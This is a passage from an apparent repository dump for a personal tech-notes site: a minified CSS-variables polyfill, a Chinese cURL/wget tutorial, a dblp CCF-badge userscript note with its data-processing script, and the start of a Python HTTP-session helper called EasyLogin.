e=i(/^@(import|charset|namespace)\\s*([^;]+);/);if(e)return{type:e[1],name:e[2].trim()}}function k(){if(f(),\"@\"===t[0]){var e=j()||E()||C()||g()||w()||x()||O()||A()||b()||S();if(e&&!o.preserveStatic){var r=!1;if(e.declarations)r=e.declarations.some((function(e){return/var\\(/.test(e.value)}));else r=(e.keyframes||e.rules||[]).some((function(e){return(e.declarations||[]).some((function(e){return/var\\(/.test(e.value)}))}));return r?e:{}}return e}}function _(){if(!o.preserveStatic){var e=a(\"{\",\"}\",t);if(e){var r=/:(?:root|host)(?![.:#(])/.test(e.pre)&&/--\\S*\\s*:/.test(e.body),n=/var\\(/.test(e.body);if(!r&&!n)return t=t.slice(e.end+1),{}}}var s=m()||[],i=o.preserveStatic?h():h().filter((function(e){var t=s.some((function(e){return/:(?:root|host)(?![.:#(])/.test(e)}))&&/^--\\S/.test(e.property),r=/var\\(/.test(e.value);return t||r}));return s.length||c(\"selector missing\"),{type:\"rule\",selectors:s,declarations:i}}function M(e){if(!e&&!u())return c(\"missing '{'\");for(var r,n=p();t.length&&(e||\"}\"!==t[0])&&(r=k()||_());)r.type&&n.push(r),n=n.concat(p());return e||l()?n:c(\"missing '}'\")}return{type:\"stylesheet\",stylesheet:{rules:M(!0),errors:s}}}function f(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={parseHost:!1,store:{},onWarning:function(){}},o=e({},n,r),s=new RegExp(\":\".concat(o.parseHost?\"host\":\"root\",\"$\"));return\"string\"==typeof t&&(t=l(t,o)),t.stylesheet.rules.forEach((function(e){\"rule\"===e.type&&e.selectors.some((function(e){return s.test(e)}))&&e.declarations.forEach((function(e,t){var r=e.property,n=e.value;r&&0===r.indexOf(\"--\")&&(o.store[r]=n)}))})),o.store}function d(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:\"\",r=arguments.length>2?arguments[2]:void 0,n={charset:function(e){return\"@charset \"+e.name+\";\"},comment:function(e){return 0===e.comment.indexOf(\"__CSSVARSPONYFILL\")?\"/*\"+e.comment+\"*/\":\"\"},\"custom-media\":function(e){return\"@custom-media \"+e.name+\" \"+e.media+\";\"},declaration:function(e){return e.property+\":\"+e.value+\";\"},document:function(e){return\"@\"+(e.vendor||\"\")+\"document \"+e.document+\"{\"+o(e.rules)+\"}\"},\"font-face\":function(e){return\"@font-face{\"+o(e.declarations)+\"}\"},host:function(e){return\"@host{\"+o(e.rules)+\"}\"},import:function(e){return\"@import \"+e.name+\";\"},keyframe:function(e){return e.values.join(\",\")+\"{\"+o(e.declarations)+\"}\"},keyframes:function(e){return\"@\"+(e.vendor||\"\")+\"keyframes \"+e.name+\"{\"+o(e.keyframes)+\"}\"},media:function(e){return\"@media \"+e.media+\"{\"+o(e.rules)+\"}\"},namespace:function(e){return\"@namespace \"+e.name+\";\"},page:function(e){return\"@page \"+(e.selectors.length?e.selectors.join(\", \"):\"\")+\"{\"+o(e.declarations)+\"}\"},\"page-margin-box\":function(e){return\"@\"+e.name+\"{\"+o(e.declarations)+\"}\"},rule:function(e){var t=e.declarations;if(t.length)return e.selectors.join(\",\")+\"{\"+o(t)+\"}\"},supports:function(e){return\"@supports \"+e.supports+\"{\"+o(e.rules)+\"}\"}};function o(e){for(var o=\"\",s=0;s<e.length;s++){var a=e[s];r&&r(a);var c=n[a.type](a);c&&(o+=c,c.length&&a.selectors&&(o+=t))}return o}return o(e.stylesheet.rules)}function p(e,t){e.rules.forEach((function(r){r.rules?p(r,t):r.keyframes?r.keyframes.forEach((function(e){\"keyframe\"===e.type&&t(e.declarations,r)})):r.declarations&&t(r.declarations,e)}))}c.range=u;function m(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={preserveStatic:!0,preserveVars:!1,variables:{},onWarning:function(){}},o=e({},n,r);return\"string\"==typeof t&&(t=l(t,o)),p(t.stylesheet,(function(e,t){for(var r=0;r<e.length;r++){var n=e[r],s=n.type,a=n.property,c=n.value;if(\"declaration\"===s)if(o.preserveVars||!a||0!==a.indexOf(\"--\")){if(-1!==c.indexOf(\"var(\")){var i=h(c,o);i!==n.value&&(i=v(i),o.preserveVars?(e.splice(r,0,{type:s,property:a,value:i}),r++):n.value=i)}}else e.splice(r,1),r--}})),d(t)}function v(e){return(e.match(/calc\\(([^)]+)\\)/g)||[]).forEach((function(t){var r=\"calc\".concat(t.split(\"calc\").join(\"\"));e=e.replace(t,r)})),e}function h(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=arguments.length>2?arguments[2]:void 0;if(-1===e.indexOf(\"var(\"))return e;var n=a(\"(\",\")\",e);function o(e){var n=e.split(\",\")[0].replace(/[\\s\\n\\t]/g,\"\"),o=(e.match(/(?:\\s*,\\s*){1}(.*)?/)||[])[1],s=Object.prototype.hasOwnProperty.call(t.variables,n)?String(t.variables[n]):void 0,a=s||(o?String(o):void 0),c=r||e;return s||t.onWarning('variable \"'.concat(n,'\" is undefined')),a&&\"undefined\"!==a&&a.length>0?h(a,t,c):\"var(\".concat(c,\")\")}if(n){if(\"var\"===n.pre.slice(-3)){var s=0===n.body.trim().length;return s?(t.onWarning(\"var() must contain a non-whitespace string\"),e):n.pre.slice(0,-3)+o(n.body)+h(n.post,t)}return n.pre+\"(\".concat(h(n.body,t),\")\")+h(n.post,t)}return-1!==e.indexOf(\"var(\")&&t.onWarning('missing closing \")\" in the value \"'.concat(e,'\"')),e}var y=\"undefined\"!=typeof window,g=y&&window.CSS&&window.CSS.supports&&window.CSS.supports(\"(--a: 0)\"),b={group:0,job:0},S={rootElement:y?document:null,shadowDOM:!1,include:\"style,link[rel=stylesheet]\",exclude:\"\",variables:{},onlyLegacy:!0,preserveStatic:!0,preserveVars:!1,silent:!1,updateDOM:!0,updateURLs:!0,watch:null,onBeforeSend:function(){},onError:function(){},onWarning:function(){},onSuccess:function(){},onComplete:function(){},onFinally:function(){}},E={cssComments:/\\/\\*[\\s\\S]+?\\*\\//g,cssKeyframes:/@(?:-\\w*-)?keyframes/,cssMediaQueries:/@media[^{]+\\{([\\s\\S]+?})\\s*}/g,cssUrls:/url\\((?!['\"]?(?:data|http|\\/\\/):)['\"]?([^'\")]*)['\"]?\\)/g,cssVarDeclRules:/(?::(?:root|host)(?![.:#(])[\\s,]*[^{]*{\\s*[^}]*})/g,cssVarDecls:/(?:[\\s;]*)(-{2}\\w[\\w-]*)(?:\\s*:\\s*)([^;]*);/g,cssVarFunc:/var\\(\\s*--[\\w-]/,cssVars:/(?:(?::(?:root|host)(?![.:#(])[\\s,]*[^{]*{\\s*[^;]*;*\\s*)|(?:var\\(\\s*))(--[^:)]+)(?:\\s*[:)])/},w={dom:{},job:{},user:{}},A=!1,C=null,O=0,x=null,j=!1;function k(){var r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=\"cssVars(): \",s=e({},S,r);function a(e,t,r,o){!s.silent&&window.console&&console.error(\"\".concat(n).concat(e,\"\\n\"),t),s.onError(e,t,r,o)}function c(e){!s.silent&&window.console&&console.warn(\"\".concat(n).concat(e)),s.onWarning(e)}function i(e){s.onFinally(Boolean(e),g,V()-s.__benchmark)}if(y){if(s.watch)return s.watch=S.watch,_(s),void k(s);if(!1===s.watch&&C&&(C.disconnect(),C=null),!s.__benchmark){if(A===s.rootElement)return void M(r);if(s.__benchmark=V(),s.exclude=[C?'[data-cssvars]:not([data-cssvars=\"\"])':'[data-cssvars=\"out\"]',s.exclude].filter((function(e){return e})).join(\",\"),s.variables=L(s.variables),!C){var u=Array.apply(null,s.rootElement.querySelectorAll('[data-cssvars=\"out\"]'));if(u.forEach((function(e){var t=e.getAttribute(\"data-cssvars-group\");(t?s.rootElement.querySelector('[data-cssvars=\"src\"][data-cssvars-group=\"'.concat(t,'\"]')):null)||e.parentNode.removeChild(e)})),O){var p=s.rootElement.querySelectorAll('[data-cssvars]:not([data-cssvars=\"out\"])');p.length<O&&(O=p.length,w.dom={})}}}if(\"loading\"!==document.readyState)if(g&&s.onlyLegacy){var v=!1;if(s.updateDOM){var h=s.rootElement.host||(s.rootElement===document?document.documentElement:s.rootElement);Object.keys(s.variables).forEach((function(e){var t=s.variables[e];v=v||t!==getComputedStyle(h).getPropertyValue(e),h.style.setProperty(e,t)}))}i(v)}else!j&&(s.shadowDOM||s.rootElement.shadowRoot||s.rootElement.host)?o({rootElement:S.rootElement,include:S.include,exclude:s.exclude,skipDisabled:!1,onSuccess:function(e,t,r){return(e=((e=e.replace(E.cssComments,\"\").replace(E.cssMediaQueries,\"\")).match(E.cssVarDeclRules)||[]).join(\"\"))||!1},onComplete:function(e,t,r){f(e,{store:w.dom,onWarning:c}),j=!0,k(s)}}):(A=s.rootElement,o({rootElement:s.rootElement,include:s.include,exclude:s.exclude,skipDisabled:!1,onBeforeSend:s.onBeforeSend,onError:function(e,t,r){var n=e.responseURL||D(r,location.href),o=e.statusText?\"(\".concat(e.statusText,\")\"):\"Unspecified Error\"+(0===e.status?\" (possibly CORS related)\":\"\");a(\"CSS XHR Error: \".concat(n,\" \").concat(e.status,\" \").concat(o),t,e,n)},onSuccess:function(e,t,r){var n=s.onSuccess(e,t,r);return e=void 0!==n&&!1===Boolean(n)?\"\":n||e,s.updateURLs&&(e=R(e,r)),e},onComplete:function(r,n){var o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[],u=e({},w.dom,w.user);if(w.job={},o.forEach((function(e,t){var r=n[t];if(E.cssVars.test(r))try{var o=l(r,{preserveStatic:s.preserveStatic,removeComments:!0});f(o,{parseHost:Boolean(s.rootElement.host),store:w.dom,onWarning:c}),e.__cssVars={tree:o}}catch(t){a(t.message,e)}})),e(w.job,w.dom),s.updateDOM?(e(w.user,s.variables),e(w.job,w.user)):(e(w.job,w.user,s.variables),e(u,s.variables)),b.job>0&&Boolean(Object.keys(w.job).length>Object.keys(u).length||Boolean(Object.keys(u).length&&Object.keys(w.job).some((function(e){return w.job[e]!==u[e]})))))B(s.rootElement),k(s);else{var p=[],v=[],h=!1;if(s.updateDOM&&b.job++,o.forEach((function(t,r){var o=!t.__cssVars;if(t.__cssVars)try{m(t.__cssVars.tree,e({},s,{variables:w.job,onWarning:c}));var i=d(t.__cssVars.tree);if(s.updateDOM){var u=n[r],l=E.cssVarFunc.test(u);if(t.getAttribute(\"data-cssvars\")||t.setAttribute(\"data-cssvars\",\"src\"),i.length&&l){var f=t.getAttribute(\"data-cssvars-group\")||++b.group,y=i.replace(/\\s/g,\"\"),g=s.rootElement.querySelector('[data-cssvars=\"out\"][data-cssvars-group=\"'.concat(f,'\"]'))||document.createElement(\"style\");h=h||E.cssKeyframes.test(i),s.preserveStatic&&(t.sheet.disabled=!0),g.hasAttribute(\"data-cssvars\")||g.setAttribute(\"data-cssvars\",\"out\"),y===t.textContent.replace(/\\s/g,\"\")?(o=!0,g&&g.parentNode&&(t.removeAttribute(\"data-cssvars-group\"),g.parentNode.removeChild(g))):y!==g.textContent.replace(/\\s/g,\"\")&&([t,g].forEach((function(e){e.setAttribute(\"data-cssvars-job\",b.job),e.setAttribute(\"data-cssvars-group\",f)})),g.textContent=i,p.push(i),v.push(g),g.parentNode||t.parentNode.insertBefore(g,t.nextSibling))}}else t.textContent.replace(/\\s/g,\"\")!==i&&p.push(i)}catch(e){a(e.message,t)}o&&t.setAttribute(\"data-cssvars\",\"skip\"),t.hasAttribute(\"data-cssvars-job\")||t.setAttribute(\"data-cssvars-job\",b.job)})),O=s.rootElement.querySelectorAll('[data-cssvars]:not([data-cssvars=\"out\"])').length,s.shadowDOM)for(var y,g=[s.rootElement].concat(t(s.rootElement.querySelectorAll(\"*\"))),S=0;y=g[S];++S)if(y.shadowRoot&&y.shadowRoot.querySelector(\"style\")){var C=e({},s,{rootElement:y.shadowRoot});k(C)}s.updateDOM&&h&&T(s.rootElement),A=!1,s.onComplete(p.join(\"\"),v,JSON.parse(JSON.stringify(w.job)),V()-s.__benchmark),i(v.length)}}}));else document.addEventListener(\"DOMContentLoaded\",(function e(t){k(r),document.removeEventListener(\"DOMContentLoaded\",e)}))}}function _(e){function t(e){var t=e.hasAttribute(\"disabled\"),r=(e.sheet||{}).disabled;return t||r}function r(e){return\"LINK\"===e.tagName&&-1!==(e.getAttribute(\"rel\")||\"\").indexOf(\"stylesheet\")&&!t(e)}function n(e){return Array.apply(null,e).some((function(e){var n=1===e.nodeType&&e.hasAttribute(\"data-cssvars\"),o=function(e){return\"STYLE\"===e.tagName&&!t(e)}(e)&&E.cssVars.test(e.textContent);return!n&&(r(e)||o)}))}window.MutationObserver&&(C&&(C.disconnect(),C=null),(C=new MutationObserver((function(t){t.some((function(t){var o,s=!1;return\"attributes\"===t.type?s=r(t.target):\"childList\"===t.type&&(s=n(t.addedNodes)||(o=t.removedNodes,Array.apply(null,o).some((function(t){var r=1===t.nodeType,n=r&&\"out\"===t.getAttribute(\"data-cssvars\"),o=r&&\"src\"===t.getAttribute(\"data-cssvars\"),s=o;if(o||n){var a=t.getAttribute(\"data-cssvars-group\"),c=e.rootElement.querySelector('[data-cssvars-group=\"'.concat(a,'\"]'));o&&(B(e.rootElement),w.dom={}),c&&c.parentNode.removeChild(c)}return s})))),s}))&&k(e)}))).observe(document.documentElement,{attributes:!0,attributeFilter:[\"disabled\",\"href\"],childList:!0,subtree:!0}))}function M(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:100;clearTimeout(x),x=setTimeout((function(){e.__benchmark=null,k(e)}),t)}function T(e){var t=[\"animation-name\",\"-moz-animation-name\",\"-webkit-animation-name\"].filter((function(e){return getComputedStyle(document.body)[e]}))[0];if(t){for(var r=e.getElementsByTagName(\"*\"),n=[],o=0,s=r.length;o<s;o++){var a=r[o];\"none\"!==getComputedStyle(a)[t]&&(a.style[t]+=\"__CSSVARSPONYFILL-KEYFRAMES__\",n.push(a))}document.body.offsetHeight;for(var c=0,i=n.length;c<i;c++){var u=n[c].style;u[t]=u[t].replace(\"__CSSVARSPONYFILL-KEYFRAMES__\",\"\")}}}function R(e,t){return(e.replace(E.cssComments,\"\").match(E.cssUrls)||[]).forEach((function(r){var n=r.replace(E.cssUrls,\"$1\"),o=D(n,t);e=e.replace(r,r.replace(n,o))})),e}function L(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=/^-{2}/;return Object.keys(e).reduce((function(r,n){return r[t.test(n)?n:\"--\".concat(n.replace(/^-+/,\"\"))]=e[n],r}),{})}function D(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:location.href,r=document.implementation.createHTMLDocument(\"\"),n=r.createElement(\"base\"),o=r.createElement(\"a\");return r.head.appendChild(n),r.body.appendChild(o),n.href=t,o.href=e,o.href}function V(){return y&&(window.performance||{}).now?window.performance.now():(new Date).getTime()}function B(e){Array.apply(null,e.querySelectorAll('[data-cssvars=\"skip\"],[data-cssvars=\"src\"]')).forEach((function(e){return e.setAttribute(\"data-cssvars\",\"\")}))}return k.reset=function(){for(var e in b.job=0,b.group=0,A=!1,C&&(C.disconnect(),C=null),O=0,x=null,j=!1,w)w[e]={}},k}));\r\n"
  },
  {
    "path": "assets/js/index.js",
    "content": "if(location.pathname==\"/README/\"){\r\n    window.onload = function(){\r\n        Array.from(document.querySelectorAll(\"div.md-content > article > blockquote > ul > li\")).forEach(function(i){\r\n            i.onclick=function(){\r\n                i.parentNode.parentNode.previousElementSibling.children[0].click()\r\n            }\r\n        });\r\n    }\r\n}"
  },
  {
    "path": "cURL.md",
    "content": "# cURL\r\n\r\ncurl这么有用的东西，还是单独开个文档咯~\r\n\r\n\r\n\r\n![cURL](https://curl.haxx.se/logo/curl-logo.svg)\r\n\r\n> 大名鼎鼎的cURL，不必多言；只是它的命令行的运行方式与libcurl用起来差异很大（如比较php的curl用法）\r\n\r\n> 官方：https://curl.haxx.se/\r\n\r\n> 简单入门：http://www.bathome.net/thread-1761-1-1.html\r\n\r\n> **将curl转为python requests** http://curl.trillworks.com/\r\n\r\n[下载7.51 x64的Win版本](https://d.py3.io/curl.exe)\r\n\r\n[下载7.16 32bit的curl32.exe](https://d.py3.io/curl32.exe)\r\n\r\n----\r\n\r\n## 模拟浏览器请求\r\n\r\n用Chrome开发人员工具，对请求右键，Copy as cURL就好啦\r\n\r\n其中如果选择了cmd的版本，是不能用于写bat的，我的做法是复制成bash的版本用python循环之\r\n\r\n----\r\n\r\n## 基本教程\r\n\r\n```\r\nREM 在bat中REM命令表示注释行\r\n\r\nREM 简单的get一下\r\ncurl http://ip.cn\r\n\r\nREM 保存到文件并断点续传（可以不指定文件名-O）\r\ncurl -o iplist.txt -c  http://f.ip.cn/rt/chnroutes.txt\r\n\r\nREM POST请求，设置Referer，并使用代理\r\ncurl http://httpbin.org/post --data \"something=somedata\" -H \"Referer: http://github.com/zjuchenyuan/\" --proxy socks5://127.0.0.1:1080\r\n\r\nREM 文件上传 @文件名\r\nREM POST模式下的文件上的文件上传，比如\r\nREM <form method=\"POST\" enctype=\"multipart/form-data\" action=\"http://cgi2.tky.3web.ne.jp/~zzh/up_file.cgi\">\r\nREM <input type=file name=upload>\r\nREM <input type=submit name=nick value=\"go\">\r\nREM </form>\r\nREM 这样一个HTTP表单，我们要用curl进行模拟，就该是这样的语法：\r\ncurl -F upload=@localfile -F nick=go http://cgi2.tky.3web.ne.jp/~zzh/up_file.cgi\r\n\r\nREM 登录路由器\r\ncurl http://192.168.1.1 -u admin:admin\r\n\r\nREM 存下Set-Cookie\r\ncurl -D cookie0001.txt http://www.yahoo.com\r\n\r\nREM 使用存储的Cookie\r\ncurl -b cookie0001.txt http://www.yahoo.com\r\n\r\nREM dict协议查字典，显示详细的请求信息\r\ncurl dict://www.dict.org/d:computer -v\r\n```\r\n\r\n----\r\n\r\n## 还可以循环哟\r\n\r\ncurl -OJ http://example.com/[1-100].jpg\r\n\r\ncurl -o \"#1.html\" http://www.example.com/page/[1-20]\r\n\r\n----\r\n\r\n## wget在0b/s时自动重连\r\n\r\nFrom: https://askubuntu.com/questions/72663/how-to-make-wget-retry-download-if-speed-goes-below-certain-threshold\r\n\r\n用法：\r\n\r\n```\r\nwget -c --tries=0 --read-timeout=20 [URL]\r\n```\r\n\r\n其中-c表示断点续传，--tries=0表示无限次重试，--read-timeout指定20s无网络活动就认为出错(默认是15分钟)\r\n\r\n----\r\n\r\n## wget限制单文件最大大小\r\n\r\n来源： https://yurichev.com/wget.html\r\n\r\n可以下载到[二进制](https://yurichev.com/non-wiki-files/wget-1.18-limitsize/wget-1.18-limitsize-linux64.tar.bz2)直接用\r\n\r\n增加了`--limit-size`参数，比如批量下载一个ftp链接：\r\n\r\n```\r\nwget --limit-size=10g --restrict-file-names=nocontrol -nH --tries=0 --read-timeout=20 -m ftp://xxx \r\n```\r\n"
  },
  {
    "path": "ccfbadge.md",
    "content": "# CCF Badge\r\n\r\n在dblp搜索结果中高亮显示安全顶会和CCF分类+方向\r\n\r\n安装 Chrome插件[Tampermonkey](https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo) 后点击安装： [https://blog.chenyuan.me/code/ccfbadge.user.js](https://blog.chenyuan.me/code/ccfbadge.user.js)\r\n\r\n效果：\r\n\r\n[https://dblp.org/search?q=use-after-free](https://dblp.org/search?q=use-after-free)\r\n\r\n![](/assets/img/ccfbadge.png)\r\n\r\n## 数据处理过程\r\n\r\n- 下载官方目录PDF: [https://www.ccf.org.cn/Academic_Evaluation/By_category/](https://www.ccf.org.cn/Academic_Evaluation/By_category/)\r\n- 转换成Excel: [https://smallpdf.com/pdf-to-excel](https://smallpdf.com/pdf-to-excel)\r\n- Python读取excel处理：部分dblp有链接但pdf中不是dblp链接的需要手工更正，asiaccs的链接需要与ccs区分\r\n\r\n```\r\nimport xlrd, json\r\nfrom pprint import pprint\r\nwb=xlrd.open_workbook(\"中国计算机学会推荐国际学术会议和期刊目录-2019-converted.xlsx\")\r\ntype = \"\"\r\nallccf = {}\r\nfor sid in range(wb.nsheets):\r\n    s = wb.sheet_by_index(sid)\r\n    data = [tuple([s.cell_value(i,j) for j in range(s.ncols)]) for i in range(s.nrows)]\r\n    for i,line in enumerate(data):\r\n        if line[0]==\"序号\":\r\n            abc = data[i-1][0].split(\"、\")[1].replace(\"类\", \"\").strip()\r\n            if i-2>=0:\r\n                type = data[i-2][0].split(\"\\n\")[-1].strip().strip(\"（(）)\").replace(\"／\",\"/\").split(\"/\")[0].replace(\"计算机\",\"\")\r\n            table = data[i+1:]\r\n    newtable = []\r\n    for i in table:\r\n        if not any([str(j).strip() for j in i]):\r\n            continue\r\n        id, simple, full, publisher, url = [str(j).replace(\"\\n\",\" \").replace(\"  \",\" \") for j in i[:-1]] # remove last empty column\r\n        #print(i)\r\n        url = {\r\n            \"Performance Evaluation: An International Journal\":\"https://dblp.uni-trier.de/db/journals/pe\",\r\n            'Journal of Electronic Testing-Theory and Applications': \"https://dblp.uni-trier.de/db/journals/et\",\r\n            \"Hot Chips: A Symposium on High Performance Chips\": \"https://dblp.uni-trier.de/db/conf/hotchips/index.html\",\r\n            \"ACM Transactions on Privacy and Security\":\"https://dblp.org/db/journals/tissec/\",\r\n            \"Computer Law and Security Review\":\"https://dblp.org/db/journals/clsr/\",\r\n            \"IFIP WG 11.9 International Conference on Digital Forensics\":\"https://dblp.org/db/conf/ifip11-9/\",\r\n            \"Computer Animation and Virtual Worlds\":\"https://dblp.org/db/journals/jvca/index.html\",\r\n            \"IET Computer Vision\":\"https://dblp.org/db/journals/iet-cvi/index.html\",\r\n            \"IET Signal Processing\":\"https://dblp.org/db/journals/iet-spr/index.html\",\r\n            \"International Conference on Collaborative Computing: Networking, Applications and Worksharing\":\"https://dblp.org/db/conf/colcom/index.html\",\r\n            \"Asia Conference on Computer and Communications Security\": \"https://dblp.org/db/conf/asiaccs/index.html\",\r\n        }.get(full, url)\r\n        if \"dblp\" not in url:\r\n            #print([id, simple, full, publisher, url])\r\n            pass\r\n        else:\r\n            url = \"/\".join(url.split(\"/\")[4:6])\r\n            #print(url)\r\n        newtable.append([id, simple, full, publisher, url])\r\n        if url in allccf:\r\n            #print(i, allccf[url]) # we find that aisaccs link is wrong\r\n            assert allccf[url][1] == abc # same item in different categories, should be same in ABC\r\n            allccf[url] = (allccf[url][0]+\"/\"+type, abc)\r\n        else:\r\n            allccf[url] = (type, abc)\r\n    #print(type, abc, [i[4] for i in newtable])\r\nopen(\"ccf.json\",\"w\").write(json.dumps(allccf))\r\n```"
  },
  {
    "path": "code/EasyLogin.py",
    "content": "# coding:utf-8\r\nfrom __future__ import with_statement\r\n\r\ntry:\r\n    from urllib.parse import urlencode, quote, unquote\r\n    PY2 = False\r\nexcept ImportError:\r\n    from urllib import urlencode, quote, unquote\r\n    PY2 = True\r\nimport requests\r\nimport pickle\r\nimport os\r\nimport random\r\nfrom bs4 import BeautifulSoup\r\nimport hashlib\r\nfrom collections import OrderedDict\r\nimport json\r\ntry:\r\n    import cchardet as chardet\r\nexcept: # pragma: no cover\r\n    import chardet\r\n\r\n__version__ = 20180118\r\n\r\nUALIST = [\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\",\r\n    \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60\",\r\n    \"Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11\",\r\n    \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 UBrowser/4.0.3214.0 Safari/537.36\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",\r\n    \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",\r\n    \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0\",\r\n    \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 Safari/537.36\"]\r\n\r\ndef mymd5(input):\r\n    if PY2:\r\n        return hashlib.md5(bytes(input)).hexdigest()\r\n    else:\r\n        return hashlib.md5(bytes(input,encoding=\"utf-8\")).hexdigest()\r\n\r\nclass EasyLogin_ValidateFail(Exception):\r\n    pass\r\n\r\nclass EasyLogin:\r\n    def __init__(self, cookie=None, cookiestring=None, cookiefile=None, proxy=None, session=None, cachedir=None):\r\n        \"\"\"\r\n        example: a = EasyLogin(cookie={\"PHPSESSID\":\"...\"}, proxy=\"socks5://127.0.0.1:1080\")\r\n        :param cookie: a dict of cookie\r\n        :param cookiefile: the file contain cookie which saved by get or post(save=True)\r\n        :param proxy: the proxy to use, rememeber schema and `pip install requests[socks]`\r\n        :param session: requests.Session()\r\n        :param cachedir: where cache files should be write to\r\n        \"\"\"\r\n        self.b = None\r\n        self.cookiestack = []\r\n        self.proxies = {'http': proxy, 'https': proxy} if proxy is not None else None\r\n        self.cookiefile = 'cookie.pickle'\r\n        if session is not None:\r\n            self.s = session\r\n            return\r\n        self.s = requests.Session()\r\n        adapter = requests.adapters.HTTPAdapter(pool_connections=100, \r\n                                            pool_maxsize=1000)\r\n        self.s.mount('http://', adapter)\r\n        self.s.headers.update({'User-Agent': random.choice(UALIST)})\r\n        if cookie is None:\r\n            cookie = {}\r\n        self.s.cookies.update(cookie)\r\n        self.setcookie(cookiestring)\r\n        if cookiefile is not None:\r\n            self.cookiefile = cookiefile\r\n            try:\r\n                with open(cookiefile, \"rb\") as fp:\r\n                    self.s.cookies = pickle.load(fp)\r\n            except FileNotFoundError:\r\n                pass\r\n        if cachedir is None:\r\n            self.cachedir = \"\"\r\n        else:\r\n            cachedir = cachedir.replace(\"\\\\\",\"/\")\r\n            if not cachedir.endswith(\"/\"):\r\n                cachedir = cachedir+\"/\"\r\n            if not os.path.exists(cachedir):\r\n                try:\r\n                    os.mkdir(cachedir)\r\n                except:\r\n                    if not os.path.exists(cachedir):\r\n                        raise\r\n            self.cachedir = cachedir\r\n\r\n    def setcookie(self,cookiestring):\r\n        cookie = {}\r\n        if cookiestring is not None:\r\n            for onecookiestring in cookiestring.split(\";\"):\r\n                tmp = onecookiestring.split(\"=\", 1)\r\n                if len(tmp)!=2:\r\n                    continue\r\n                a, b = tmp\r\n                a = quote(unquote(a).strip())\r\n                cookie.update({a: b})\r\n            self.s.cookies.update(cookie)\r\n\r\n    def showcookie(self):\r\n        \"\"\"\r\n        show cookie\r\n        :return: str(cookie)\r\n        \"\"\"\r\n        c = \"\"\r\n        for i in self.s.cookies:\r\n            c += i.name + '=' + i.value + \";\"\r\n        return c\r\n    cookie = property(showcookie)\r\n\r\n    def get(self, url, result=True, save=False, headers=None, o=False, cache=None, r=False, cookiestring=None,failstring=None, debug=False, fixfunction=None, encoding=None, **kwargs):\r\n        \"\"\"\r\n        HTTP GET method, default save soup to self.b\r\n        :param url: a url, example: \"http://ip.cn\"\r\n        :param result: using BeautifulSoup to handle the page, save to self.b (default True)\r\n        :param save: save cookie or not\r\n        :param headers: more headers to be sent\r\n        :param o: return object or just page text\r\n        :param cache: filename to write cache, if already exists, use cache rather than really get; using cache=True to use md5(url) as cache file name\r\n        :param failstring: if failstring occurs in text, raise an exception\r\n        :param fixfunction: a function receive html (bytes), output fixed html (bytes); this is useful for simple replace to fix dirty html page\r\n        :return page text or object(o=True)\r\n        \"\"\"\r\n        if debug:\r\n            print(url)\r\n        if cache is True:\r\n            cache = mymd5(url)\r\n        if cache:\r\n            cache_filepath = self.cachedir + cache\r\n        if cache is not None and os.path.exists(cache_filepath): # cache exist, read from cache\r\n            with open(cache_filepath, \"rb\") as fp:\r\n                if o:\r\n                    obj = pickle.load(fp)\r\n                    page = obj.content\r\n                else:\r\n                    page = fp.read()\r\n            if result:\r\n                page = page.replace(b\"<br>\", b\"\\n\").replace(b\"<BR>\", b\"\\n\")\r\n                if fixfunction is not None:\r\n                    page = fixfunction(page)\r\n                if encoding:\r\n                    self.b = BeautifulSoup(page.decode(encoding,errors='replace'), 'html.parser')\r\n                else:\r\n                    self.b = BeautifulSoup(page, 'html.parser')\r\n            if o:\r\n                return obj\r\n            else:\r\n                if not encoding:\r\n                    encoding = chardet.detect(page)[\"encoding\"]\r\n                return page.decode(encoding,errors='replace')\r\n        if r:\r\n            if headers is None:\r\n                headers = 